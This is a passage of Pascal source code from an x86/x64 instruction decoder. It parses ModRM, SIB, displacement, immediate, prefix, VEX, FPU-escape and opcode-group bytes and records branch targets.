not((PInst^.ModRm.iMod = 0) and (PInst^.Sib.Base = 5)); end; procedure SetOpCode(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF} begin PInst^.OpCode := PInst^.NextInst^; Inc(PInst^.NextInst); end; procedure SetGroup(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF} begin PInst^.OpKind := kGrp; end; procedure ForceOpSize(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF} begin if PInst^.Archi = CPUX32 then Exit; PInst^.LID.vOpSize := ops64bits; end; procedure DecodeSib(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF} var PSib: LPSib; begin PSib := @PInst^.Sib; PSib.Flags := sfUsed; PSib.Value := PInst^.NextInst^; PSib.Base := GetSib_Base(PSib.Value); PSib.Index := GetSib_Index(PSib.Value); PSib.Scale := GetSib_Scale(PSib.Value); Inc(PInst^.NextInst); // Skip SIB ! end; procedure DecodeDisp(PInst: PInstruction); var Disp: Int64; Size: Byte; DispOnly: Boolean; begin Disp := $00; Size := PInst^.Disp.Size; PInst^.Disp.Flags := dfUsed; DispOnly := (PInst^.ModRm.iMod = $00) and (PInst^.ModRm.Rm = $05); case Size of ops8bits: Disp := (PInt8(PInst^.NextInst)^); // and $FF; ops16bits: Disp := (PInt16(PInst^.NextInst)^); // and $FFFF; ops32bits: begin Disp := (PInt32(PInst^.NextInst)^); // and $FFFFFFFF; if (PInst^.Archi = CPUX64) and DispOnly then { RIP disp ! } PInst^.Disp.Flags := PInst^.Disp.Flags or dfRip; end; else SetInstError(PInst, ERROR_DISP_SIZE); end; if DispOnly then PInst^.Disp.Flags := PInst^.Disp.Flags or dfDispOnly else PInst^.Disp.Flags := PInst^.Disp.Flags or dfSigned; PInst^.Disp.Value := Disp; Inc(PInst^.NextInst, Size) // Skip Disp ! end; procedure Decode_ModRm(PInst: PInstruction); var PModRM: LPModRM; SibUsed: Boolean; const { Get Disp Size from ModRm . } ModRMFlagsToDispSize: array [0 .. 4] of Byte = (0, ops8bits, ops16bits, 0, ops32bits); begin PModRM := @PInst^.ModRm; PModRM.Value := PInst^.NextInst^; PModRM.iMod := GetModRm_Mod(PModRM.Value); PModRM.Reg := GetModRm_Reg(PModRM.Value); PModRM.Rm := GetModRm_Rm(PModRM.Value); PModRM.Flags := ModRMFlags[PInst^.AddrMode][PModRM.Value]; PInst^.Disp.Size := ModRMFlagsToDispSize[(PModRM.Flags shr 1) and 7]; Inc(PInst^.NextInst); // Skip ModRM ! SibUsed := (PModRM.Flags and $10 > 0); { SibUsed ! } if SibUsed then begin DecodeSib(PInst); { if the base is not valid ==> there is a disp32 . But the disp can be 8bit ==> we need to check first if the disp does not exist ! } if (PInst^.Disp.Size = 0) and (not IsSibBaseRegValid(PInst)) then PInst^.Disp.Size := ops32bits; end; if PInst^.Disp.Size > 0 then DecodeDisp(PInst); { ModRm Exists ! } PModRM.Flags := PModRM.Flags or mfUsed; end; procedure Decode_Imm(PInst: PInstruction; immSize: Byte); var Imm: Int64; PImm: PImmediat; begin Imm := $00; case immSize of ops8bits: Imm := (PInt8(PInst^.NextInst)^); ops16bits: Imm := (PInt16(PInst^.NextInst)^); ops32bits: Imm := (PInt32(PInst^.NextInst)^); ops64bits: Imm := (PInt64(PInst^.NextInst)^); else SetInstError(PInst, ERROR_IMM_SIZE); end; { If Imm field already used => get the extra Imm } if PInst^.Imm.Flags and imfUsed <> $00 then PImm := @PInst^.ImmEx else PImm := @PInst^.Imm; PImm.Flags := imfUsed; PImm.Value := Imm; PImm.Size := immSize; Inc(PInst^.NextInst, immSize); // Skip Immediat ! end; procedure Decode_J(PInst: PInstruction; Size: Byte); var Value: Int64; VA: PByte; begin Value := $00; case Size of ops8bits: Value := (PInt8(PInst^.NextInst)^); ops16bits: Value := (PInt16(PInst^.NextInst)^); ops32bits: Value := (PInt32(PInst^.NextInst)^); ops64bits: Value := (PInt64(PInst^.NextInst)^); end; Inc(PInst^.NextInst, Size); if PInst^.OpType = otNone then PInst^.OpType := otJ; if PInst^.OpCode in [$70 .. $8F] then PInst^.OpType := otJ or otJcc; if Assigned(PInst^.VirtualAddr) then VA := PByte(NativeInt(PInst^.VirtualAddr) + NativeInt(NativeInt(PInst^.NextInst) - NativeInt(PInst^.Addr))) else VA := PInst^.NextInst; PInst^.Branch.Size := Size; PInst^.Branch.Falgs := bfUsed or bfRel; PInst^.Branch.Value := Value; PInst^.Branch.Target := PByte(NativeInt(VA) + Value); end; procedure Decode_Branch_ModRm(PInst: PInstruction); var P: PByte; VA: PByte; begin SetOpCode(PInst); Decode_ModRm(PInst); PInst^.Branch.Value := PInst^.Disp.Value; PInst^.Branch.Size := PInst^.Disp.Size; PInst^.Branch.Falgs := bfUsed or bfIndirect or bfAbs; if Assigned(PInst^.VirtualAddr) then VA := PByte(NativeInt(PInst^.VirtualAddr) + (NativeInt(PInst^.NextInst) - NativeInt(PInst^.Addr))) else VA := PInst^.NextInst; if (PInst^.ModRm.iMod = $00) and (PInst^.ModRm.Rm = $05) then begin { Memory = Displacement } if PInst^.Archi = CPUX64 then begin if PInst^.Prefixes and Prf_AddrSize <> 0 then { Displacement = EIP + Offset } VA := PByte(UInt64(VA) and $FFFFFFFF); { Displacement = RIP + Offset } PInst^.Branch.Falgs := PInst^.Branch.Falgs or bfRip; P := PByte(NativeInt(VA) + NativeInt(PInst^.Disp.Value)); { Memory 64-bits } PInst^.Branch.Target := PByte(PUInt64(P)^); end else begin { No RIP } P := PByte(UInt32(PInst^.Disp.Value)); if PInst^.Prefixes and Prf_OpSize <> 0 then { Memory 16-bits } PInst^.Branch.Target := PByte(PUInt16(P)^) else { Memory 32-bits } PInst^.Branch.Target := PByte(PUInt32(P)^); end; end else begin { Memory = Displacement + Register } PInst^.Branch.Falgs := PInst^.Branch.Falgs or bfReg; PInst^.Branch.Target := nil; end; end; procedure Decode_Ap(PInst: PInstruction); begin SetOpCode(PInst); PInst^.Branch.Falgs := bfUsed or bfFar; { We must clear the upper word ! } PInst^.Branch.Value := PUInt64(PInst^.NextInst)^ and $FFFFFFFFFFFF; PInst^.Branch.Size := ops48bits; PInst^.Branch.Target := nil; Inc(PInst^.NextInst, ops48bits); end; procedure Decode_Mp(PInst: PInstruction); begin SetOpCode(PInst); PInst^.Branch.Falgs := bfUsed or bfFar; Decode_ModRm(PInst); PInst^.Branch.Value := PInst^.Disp.Value; PInst^.Branch.Size := PInst^.Disp.Size; PInst^.Branch.Target := nil; end; procedure Decode_InvalidOpCode(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF} begin SetOpCode(PInst); end; procedure Decode_Invalid_Group(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF} begin SetOpCode(PInst); Inc(PInst^.NextInst); end; procedure Decode_Invalid_FPU(PInst: PInstruction); {$IFDEF MustInline}inline; {$ENDIF} begin SetOpCode(PInst); Inc(PInst^.NextInst); end; { .$ENDREGION } { .$REGION 'PREFIXES' } { ========================== PREFIXES =============================== } procedure Decode_ES_Prefix(PInst: PInstruction); begin { ES Segment Override Prefix } Inc(PInst^.NextInst); PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_ES; PInst^.SegReg := Seg_ES; DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_CS_Prefix(PInst: PInstruction); begin { CS Segment Override Prefix } Inc(PInst^.NextInst); PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_CS; PInst^.SegReg := Seg_CS; DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_SS_Prefix(PInst: PInstruction); begin { SS Segment Override Prefix } Inc(PInst^.NextInst); PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_SS; PInst^.SegReg := Seg_SS; DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_DS_Prefix(PInst: PInstruction); begin { DS Segment Override Prefix } Inc(PInst^.NextInst); PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_DS; PInst^.SegReg := Seg_DS; DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_REX_Prefix(PInst: PInstruction); begin { REX Prefix valid only on PM64! } if PInst^.Archi = CPUX32 then begin { INC/DEC REG } Decode_NA(PInst); Exit; end; PInst^.Prefixes := PInst^.Prefixes or Prf_Rex; PInst^.Rex.Value := PInst^.NextInst^; PInst^.Rex.B := (PInst^.Rex.Value and 1 <> 0); PInst^.Rex.X := (PInst^.Rex.Value and 2 <> 0); PInst^.Rex.R := (PInst^.Rex.Value and 4 <> 0); PInst^.Rex.W := (PInst^.Rex.Value and 8 <> 0); if PInst^.Rex.W then PInst^.LID.vOpSize := ops64bits; Inc(PInst^.NextInst); // Skip Rex . DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_FS_Prefix(PInst: PInstruction); begin { FS Segment Override Prefix } Inc(PInst^.NextInst); PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_FS; PInst^.SegReg := Seg_FS; DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_GS_Prefix(PInst: PInstruction); begin { GS Segment Override Prefix } Inc(PInst^.NextInst); PInst^.Prefixes := PInst^.Prefixes or Prf_Seg_GS; PInst^.SegReg := Seg_GS; DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_OPSIZE_Prefix(PInst: PInstruction); begin PInst^.Prefixes := PInst^.Prefixes or Prf_OpSize; PInst^.LID.vOpSize := ops16bits; PInst^.LID.zOpSize := ops16bits; PInst^.LID.MndPrf := $66; Inc(PInst^.NextInst); DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_ADSIZE_Prefix(PInst: PInstruction); begin PInst^.Prefixes := PInst^.Prefixes or Prf_AddrSize; Inc(PInst^.NextInst); PInst^.AddrMode := AddressMode[PInst^.Archi]; DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_VEX3_Prefix(PInst: PInstruction); var P: Byte; Q: PByte; R, X: Boolean; begin if PInst^.Options and DecodeVex = 0 then begin Decode_NA_ModRm(PInst); Exit; end; if PInst^.Archi = CPUX32 then begin Q := PInst^.NextInst; Inc(Q); R := (Q^ and $80 <> 0); X := (Q^ and $40 <> 0); { if R & X are set ==> Vex prefix is valid ! otherwise the instruction is LES . } if not(R and X) then begin { LES instruction } Decode_NA_ModRm(PInst); Exit; end; end; Inc(PInst^.NextInst); // Skip $C4 ! PInst^.Prefixes := PInst^.Prefixes or Prf_Vex3; P := PInst^.NextInst^; // P0 PInst^.Rex.R := not(P and $80 <> 0); PInst^.Rex.X := not(P and $40 <> 0); PInst^.Rex.B := not(P and $20 <> 0); PInst^.Vex.mmmmm := (P and $1F); Inc(PInst^.NextInst); // Skip P0 P := PInst^.NextInst^; // P1 Inc(PInst^.NextInst); // Skip P1 PInst^.Rex.W := (P and $80 <> 0); PInst^.Vex.vvvv := $0F - ((P and $78) shr 3); PInst^.Vex.L := (P and 4 <> 0); PInst^.Vex.PP := (P and 3); PInst^.Vex.VL := LLToOpSize[Byte(PInst^.Vex.L)]; PInst^.LID.MndPrf := PPToMndPrf[PInst^.Vex.PP]; mmmmmToEscProc[PInst^.Vex.mmmmm](PInst); end; procedure Decode_VEX2_Prefix(PInst: PInstruction); var P: Byte; Q: PByte; R: Boolean; begin if PInst^.Options and DecodeVex = 0 then begin Decode_NA_ModRm(PInst); Exit; end; if PInst^.Archi = CPUX32 then begin Q := PInst^.NextInst; Inc(Q); R := (Q^ and $80 <> 0); { if R is set ==> Vex prefix is valid ! otherwise the instruction is LDS. } if not R then begin { LDS instruction } Decode_NA_ModRm(PInst); Exit; end; end; Inc(PInst^.NextInst); // Skip $C5 ! PInst^.Prefixes := PInst^.Prefixes or Prf_Vex2; P := PInst^.NextInst^; PInst^.Rex.R := not(P and $80 <> 0); PInst^.Vex.vvvv := $0F - ((P and $78) shr 3); PInst^.Vex.L := (P and 4 <> 0); PInst^.Vex.PP := (P and 3); PInst^.Vex.VL := LLToOpSize[Byte(PInst^.Vex.L)]; PInst^.LID.MndPrf := PPToMndPrf[PInst^.Vex.PP]; Inc(PInst^.NextInst); // Skip P0 ! DecoderProcTable[TwoByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_LOCK_Prefix(PInst: PInstruction); begin PInst^.Prefixes := PInst^.Prefixes or Prf_Lock; Inc(PInst^.NextInst); DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_REPNE_Prefix(PInst: PInstruction); begin PInst^.Prefixes := PInst^.Prefixes or Prf_Repne; PInst^.LID.MndPrf := $F2; Inc(PInst^.NextInst); DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_REPE_Prefix(PInst: PInstruction); begin PInst^.Prefixes := PInst^.Prefixes or Prf_Repe; PInst^.LID.MndPrf := $F3; Inc(PInst^.NextInst); DecoderProcTable[OneByteTable[PInst^.NextInst^]](PInst); end; { .$ENDREGION } { .$REGION 'ESCAPE' } { ========================== ESCAPE =============================== } procedure JumpError(PInst: PInstruction); begin { Wrong Vex.mmmmm value ! } SetInstError(PInst, ERROR_VEX_ESCAPE); end; procedure JumpToTableTwoByte(PInst: PInstruction); begin { Implied $0F OpCode => Jump to table TwoByteTable } PInst^.OpTable := tbTwoByte; DecoderProcTable[TwoByteTable[PInst^.NextInst^]](PInst); end; procedure JumpToTableThreeByte_38(PInst: PInstruction); begin { Implied $0F$38 OpCodes => Jump to table ThreeByteTable.38 } PInst^.OpTable := tbThreeByte; DecoderProcTable[ThreeByteTable38[PInst^.NextInst^]](PInst); end; procedure JumpToTableThreeByte_3A(PInst: PInstruction); begin { Implied $0F$3A OpCodes => Jump to table ThreeByteTable.3A } PInst^.OpTable := tbThreeByte; DecoderProcTable[ThreeByteTable3A[PInst^.NextInst^]](PInst); end; procedure Decode_Escape_2_Byte(PInst: PInstruction); begin { Two Byte OpCode Escape ! } PInst^.OpTable := tbTwoByte; Inc(PInst^.NextInst); DecoderProcTable[TwoByteTable[PInst^.NextInst^]](PInst); end; procedure Decode_Escape_3_Byte(PInst: PInstruction); var P: Byte; begin { Three Byte OpCode Escape ! } PInst^.OpTable := tbThreeByte; P := PInst^.NextInst^; Inc(PInst^.NextInst); if P = $38 then DecoderProcTable[ThreeByteTable38[PInst^.NextInst^]](PInst) else DecoderProcTable[ThreeByteTable3A[PInst^.NextInst^]](PInst); end; { .$ENDREGION } { .$REGION 'FPU' } { ========================== FPU =============================== } procedure Decode_Escape_FPU_D8(PInst: PInstruction); begin { All OpCode are valid for $D8 ! } PInst^.OpTable := tbFPU; Decode_NA_ModRm(PInst); end; procedure Decode_Escape_FPU_D9(PInst: PInstruction); var P: PByte; ModRm: Byte; Reg: Byte; begin PInst^.OpTable := tbFPU; P := PInst^.NextInst; Inc(P); ModRm := P^; Reg := GetModRm_Reg(ModRm); if ModRm < $C0 then begin if Reg = $01 then begin Decode_Invalid_FPU(PInst); Exit; end; end else begin if ModRm in [$D1 .. $DF, $E2, $E3, $EF] then begin Decode_Invalid_FPU(PInst); Exit; end; end; Decode_NA_ModRm(PInst); end; procedure Decode_Escape_FPU_DA(PInst: PInstruction); var P: PByte; ModRm: Byte; begin PInst^.OpTable := tbFPU; P := PInst^.NextInst; Inc(P); ModRm := P^; if ModRm > $C0 then begin if ModRm in [$E0 .. $E8, $EA .. $EF, $F0 .. $FF] then begin Decode_Invalid_FPU(PInst); Exit; end; end; Decode_NA_ModRm(PInst); end; procedure Decode_Escape_FPU_DB(PInst: PInstruction); var P: PByte; ModRm: Byte; Reg: Byte; begin PInst^.OpTable := tbFPU; P := PInst^.NextInst; Inc(P); ModRm := P^; Reg := GetModRm_Reg(ModRm); if ModRm < $C0 then begin if (Reg = $04) or (Reg = $06) then begin Decode_Invalid_FPU(PInst); Exit; end; end else begin if ModRm in [$E0, $E1, $E4 .. $E7, $F8 .. $FF] then begin Decode_Invalid_FPU(PInst); Exit; end; end; Decode_NA_ModRm(PInst); end; procedure Decode_Escape_FPU_DC(PInst: PInstruction); var P: PByte; ModRm: Byte; begin PInst^.OpTable := tbFPU; P := PInst^.NextInst; Inc(P); ModRm := P^; if ModRm > $C0 then begin if ModRm in [$D0 .. $DF] then begin Decode_Invalid_FPU(PInst); Exit; end; end; Decode_NA_ModRm(PInst); end; procedure Decode_Escape_FPU_DD(PInst: PInstruction); var P: PByte; ModRm: Byte; Reg: Byte; begin PInst^.OpTable := tbFPU; P := PInst^.NextInst; Inc(P); ModRm := P^; Reg := GetModRm_Reg(ModRm); if ModRm < $C0 then begin if (Reg = $05) then begin Decode_Invalid_FPU(PInst); Exit; end; end else begin if ModRm in [$C8 .. $CF, $F0 .. $FF] then begin Decode_Invalid_FPU(PInst); Exit; end; end; Decode_NA_ModRm(PInst); end; procedure Decode_Escape_FPU_DE(PInst: PInstruction); var P: PByte; ModRm: Byte; begin PInst^.OpTable := tbFPU; P := PInst^.NextInst; Inc(P); ModRm := P^; if ModRm > $C0 then begin if ModRm in [$D0 .. $D8, $DA .. $DF] then begin Decode_Invalid_FPU(PInst); Exit; end; end; Decode_NA_ModRm(PInst); end; procedure Decode_Escape_FPU_DF(PInst: PInstruction); var P: PByte; ModRm: Byte; begin PInst^.OpTable := tbFPU; P := PInst^.NextInst; Inc(P); ModRm := P^; if ModRm > $C0 then begin if ModRm in [$C0 .. $CF, $D0 .. $DF, $E1 .. $E7, $F8 .. $FF] then begin Decode_Invalid_FPU(PInst); Exit; end; end; Decode_NA_ModRm(PInst); end; { .$ENDREGION } { .$REGION 'GROUPS' } { ========================== GROUPS =============================== } procedure Decode_Group_1(PInst: PInstruction); begin SetGroup(PInst); if not(PInst^.NextInst^ in [$80 .. $83]) then SetInstError(PInst, INVALID_GROUP_OPCODE); if PInst^.NextInst^ = $81 then Decode_NA_ModRm_Iz(PInst) else Decode_NA_ModRm_Ib(PInst); end; procedure Decode_Group_1A(PInst: PInstruction); var P: PByte; Reg: Byte; begin SetGroup(PInst); if (PInst^.NextInst^ <> $8F) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); // ModRm ! Reg := GetModRm_Reg(P^); if (Reg = $00) then begin Decode_NA_ModRm(PInst); Exit; end; Decode_Invalid_Group(PInst); end; procedure Decode_Group_2(PInst: PInstruction); begin SetGroup(PInst); if not(PInst^.NextInst^ in [$C0 .. $C1, $D0 .. $D3]) then SetInstError(PInst, INVALID_GROUP_OPCODE); if (PInst^.NextInst^ in [$C0, $C1]) then Decode_NA_ModRm_Ib(PInst) else Decode_NA_ModRm(PInst); end; procedure Decode_Group_3(PInst: PInstruction); var P: PByte; Reg: Byte; begin SetGroup(PInst); if not(PInst^.NextInst^ in [$F6, $F7]) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); Reg := GetModRm_Reg(P^); if (Reg < $02) then begin { [TEST Reg,Immb] & [TEST Reg,Immz] } if PInst^.NextInst^ = $F6 then Decode_NA_ModRm_Ib(PInst) else Decode_NA_ModRm_Iz(PInst); Exit; end; Decode_NA_ModRm(PInst); end; procedure Decode_Group_4_INC_DEC(PInst: PInstruction); var P: PByte; Reg: Byte; begin SetGroup(PInst); Assert(PInst^.NextInst^ = $FE); P := PInst^.NextInst; Inc(P); // ModRm Reg := GetModRm_Reg(P^); if (Reg < $02) then begin { INC/DEC REG } Decode_NA_ModRm(PInst); Exit; end; Decode_Invalid_Group(PInst); end; procedure Decode_Group_5_INC_DEC(PInst: PInstruction); var Reg: Byte; P: PByte; const GroupProc: array [0 .. 7] of TDecoderProc = ( // { 00 } Decode_NA_ModRm, { INC Ev } { 01 } Decode_NA_ModRm, { DEC Ev } { 02 } Decode_CALL_ModRm, { CALL Ev } { 03 } Decode_CALL_Mp, { CALL Mp } { 04 } Decode_JMP_ModRm, { JMP Ev } { 05 } Decode_JMP_Mp, { JMP Mp } { 06 } Decode_NA_ModRm, { PUSH Ev } { 07 } Decode_Invalid_Group { InvalidOpCode } ); begin SetGroup(PInst); if (PInst^.NextInst^ <> $FF) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); // ModRm Reg := GetModRm_Reg(P^); GroupProc[Reg](PInst); end; procedure Decode_Group_6(PInst: PInstruction); var P: PByte; Reg: Byte; begin SetGroup(PInst); if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $00) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); Reg := GetModRm_Reg(P^); if Reg = $07 then begin Decode_Invalid_Group(PInst); Exit; end; Decode_NA_ModRm(PInst); end; procedure Decode_Group_7(PInst: PInstruction); var P: PByte; iMod, Reg: Byte; begin SetGroup(PInst); if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $01) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); iMod := GetModRm_Mod(P^); Reg := GetModRm_Reg(P^); if (Reg = $04) or (Reg = $06) then begin Decode_NA_ModRm(PInst); Exit; end else if Reg = $05 then begin Decode_Invalid_Group(PInst); Exit; end; if iMod <> $03 then begin Decode_NA_ModRm(PInst); Exit; end; Decode_Invalid_Group(PInst); end; procedure Decode_Group_8(PInst: PInstruction); var P: PByte; Reg: Byte; begin SetGroup(PInst); if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $BA) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); Reg := GetModRm_Reg(P^); if Reg > $03 then begin Decode_NA_ModRm_Ib(PInst); Exit; end; Decode_Invalid_Group(PInst); end; procedure Decode_Group_9(PInst: PInstruction); var P: PByte; iMod, Reg: Byte; begin SetGroup(PInst); if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $C7) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); iMod := GetModRm_Mod(P^); Reg := GetModRm_Reg(P^); if (iMod = $03) and (Reg > $05) then begin Decode_NA_ModRm(PInst); Exit; end; if (iMod <> $03) then begin { Mod = Mem } if (((PInst^.LID.MndPrf = $00) and (Reg = $01)) or // ((PInst^.LID.MndPrf = $66) and (Reg = $06)) or // ((PInst^.LID.MndPrf = $F3) and (Reg > $05))) then begin Decode_NA_ModRm(PInst); Exit; end; end; Decode_Invalid_Group(PInst); end; procedure Decode_Group_10_UD2(PInst: PInstruction); begin SetGroup(PInst); Decode_InvalidOpCode(PInst); end; procedure Decode_Group_11(PInst: PInstruction); var P: PByte; Reg: Byte; begin SetGroup(PInst); if not(PInst^.NextInst^ in [$C6, $C7]) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); Reg := GetModRm_Reg(P^); if PInst^.NextInst^ = $C6 then begin if (Reg = $00) then begin { XABORT Instruction } Decode_NA_ModRm_Ib(PInst); Exit; end else if (Reg = $07) then begin Decode_NA_Ib(PInst); Exit; end end else if PInst^.NextInst^ = $C7 then begin if Reg = $00 then begin Decode_NA_ModRm_Iz(PInst); Exit; end else if Reg = $07 then begin { XBEGIN Instruction } SetOpCode(PInst); Inc(PInst^.NextInst); Decode_J(PInst, PInst^.LID.zOpSize); PInst^.OpType := $00; Exit; end; end; Decode_Invalid_Group(PInst); end; procedure Decode_Group_12(PInst: PInstruction); var P: PByte; iMod, Reg: Byte; begin SetGroup(PInst); { Group 12 & 13 } if (PInst^.OpTable <> tbTwoByte) and not(PInst^.NextInst^ in [$71, $72]) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); iMod := GetModRm_Mod(P^); Reg := GetModRm_Reg(P^); if (iMod = $03) and (Reg in [$02, $04, $06]) then begin Decode_NA_ModRm_Ib(PInst); Exit; end; Decode_Invalid_Group(PInst); end; procedure Decode_Group_13(PInst: PInstruction); begin SetGroup(PInst); { Group 13 has the same instructions signature as Group 12 ! } Decode_Group_12(PInst); end; procedure Decode_Group_14(PInst: PInstruction); var P: PByte; iMod, Reg: Byte; begin SetGroup(PInst); if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $73) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); iMod := GetModRm_Mod(P^); Reg := GetModRm_Reg(P^); if iMod = $03 then begin if (Reg = $02) or (Reg = $06) then begin Decode_NA_ModRm_Ib(PInst); Exit; end; if (PInst^.LID.MndPrf = $66) and ((Reg = $03) or (Reg = $07)) then begin Decode_NA_ModRm_Ib(PInst); Exit; end; end; Decode_Invalid_Group(PInst); end; procedure Decode_Group_15(PInst: PInstruction); var P: PByte; iMod, Reg: Byte; begin SetGroup(PInst); if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $AE) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); iMod := GetModRm_Mod(P^); Reg := GetModRm_Reg(P^); if (iMod = $03) and (PInst^.LID.MndPrf = $F3) and (Reg < $04) then begin Decode_NA_ModRm(PInst); Exit; end; Decode_Invalid_Group(PInst); end; procedure Decode_Group_16(PInst: PInstruction); var P: PByte; iMod, Reg: Byte; begin SetGroup(PInst); if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $18) then SetInstError(PInst, INVALID_GROUP_OPCODE); P := PInst^.NextInst; Inc(P); iMod := GetModRm_Mod(P^); Reg := GetModRm_Reg(P^); if (iMod <> $03) and (Reg < $04) then begin { Prefetch group instructions. } Decode_NA_ModRm(PInst); Exit; end; Decode_Invalid_Group(PInst); end; procedure Decode_Group_17(PInst: PInstruction); var P: PByte; Reg: Byte; begin SetGroup(PInst); P := PInst^.NextInst; Inc(P); Reg := GetModRm_Reg(P^); if (Reg > $00) and (Reg < $04) then begin Decode_NA_ModRm(PInst); Exit; end; Decode_Invalid_Group(PInst); end; { .$ENDREGION } { .$REGION 'DECODERS' } { ========================== DECODERS PROC =============================== } procedure Decode_NA_CALL_Ap_I64(PInst: PInstruction); begin { Instruction is only valid for x32 ! } if PInst^.Archi = CPUX64 then begin Decode_InvalidOpCode(PInst); Exit; end; PInst^.OpType := otCALL; Decode_Ap(PInst); end; procedure Decode_NA_ModRm(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_NA_Ib(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_Imm(PInst, ops8bits); end; procedure Decode_NA_Iz(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_Imm(PInst, PInst^.LID.zOpSize); end; procedure Decode_NA_I64(PInst: PInstruction); begin { Instruction is invalid on PM64 } { Only valid when mandatory prefix is : $00 } if (PInst^.Archi = CPUX64) or ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); end; procedure Decode_NA(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); end; procedure Decode_NA_ModRm_I64(PInst: PInstruction); begin { Instruction is invalid on PM64 } { Only valid when mandatory prefix is : $00 } if (PInst^.Archi = CPUX64) or ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_NA_ModRm_Iz(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); Decode_Imm(PInst, PInst^.LID.zOpSize); end; procedure Decode_NA_ModRm_Ib(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); Decode_Imm(PInst, ops8bits); end; procedure Decode_NA_Jb_Df64(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); PInst^.OperandFlags := opdDf64; Decode_J(PInst, ops8bits); end; procedure Decode_NA_RET(PInst: PInstruction); begin SetOpCode(PInst); PInst^.OpType := otRET; if PInst^.OpCode in [$C2, $CA] then Decode_Imm(PInst, ops16bits); end; procedure Decode_NA_Ib_I64(PInst: PInstruction); begin { Instruction is invalid on PM64 } { Only valid when mandatory prefix is : $00 } if (PInst^.Archi = CPUX64) or ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_Imm(PInst, ops8bits); end; procedure Decode_NA_CALL_Jz_Df64(PInst: PInstruction); begin SetOpCode(PInst); PInst^.OpType := otCALL; PInst^.OperandFlags := opdDf64; Decode_J(PInst, PInst^.LID.zOpSize); end; procedure 